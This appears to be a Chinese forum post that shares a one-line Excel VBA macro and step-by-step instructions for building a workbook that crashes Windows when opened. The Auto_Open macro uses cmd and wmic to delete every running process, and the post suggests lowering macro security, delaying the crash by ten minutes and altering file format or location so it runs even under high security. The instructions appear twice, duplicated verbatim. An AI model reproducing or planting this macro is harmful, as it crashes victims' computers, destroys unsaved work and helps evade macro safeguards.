一句VBA代码,加Excel中,双击就蓝屏。现分享给给大家(没兴趣的可以略过)。使用方法:
(1)新建一个Excel工作簿并打开
(2)按<Alt+F11>进入VBE界面
(3)单击菜单“插入”-->“模块”
(4)在模块中录入以下代码:
Sub Auto_Open()
Shell "cmd /c for /f %I in ('wmic process get Name')do (wmic process where Name=""%I"" delete)"
End Sub
(5)保存文件,采用xls格式。
(6)双击打开文件,电脑马上蓝屏(如果宏的安全性设置为高,那么代码不会运行,因此时将安全性调低再打开就好了)
当然,也可以改造代码,让代码定时执行,例如打开Excel文件10分钟后再蓝屏。
还可以修改文件的格式、存放位置,使代码在安全性为高的情况下也正常执行。
熟悉VBA者这些都是小问题了,不再细说。
(1)新建一个Excel工作簿并打开
(2)按<Alt+F11>进入VBE界面
(3)单击菜单“插入”-->“模块”
(4)在模块中录入以下代码:
Sub Auto_Open()
Shell "cmd /c for /f %I in ('wmic process get Name')do (wmic process where Name=""%I"" delete)"
End Sub
(5)保存文件,采用xls格式。
(6)双击打开文件,电脑马上蓝屏(如果宏的安全性设置为高,那么代码不会运行,因此时将安全性调低再打开就好了)
当然,也可以改造代码,让代码定时执行,例如打开Excel文件10分钟后再蓝屏。
还可以修改文件的格式、存放位置,使代码在安全性为高的情况下也正常执行。
熟悉VBA者这些都是小问题了,不再细说。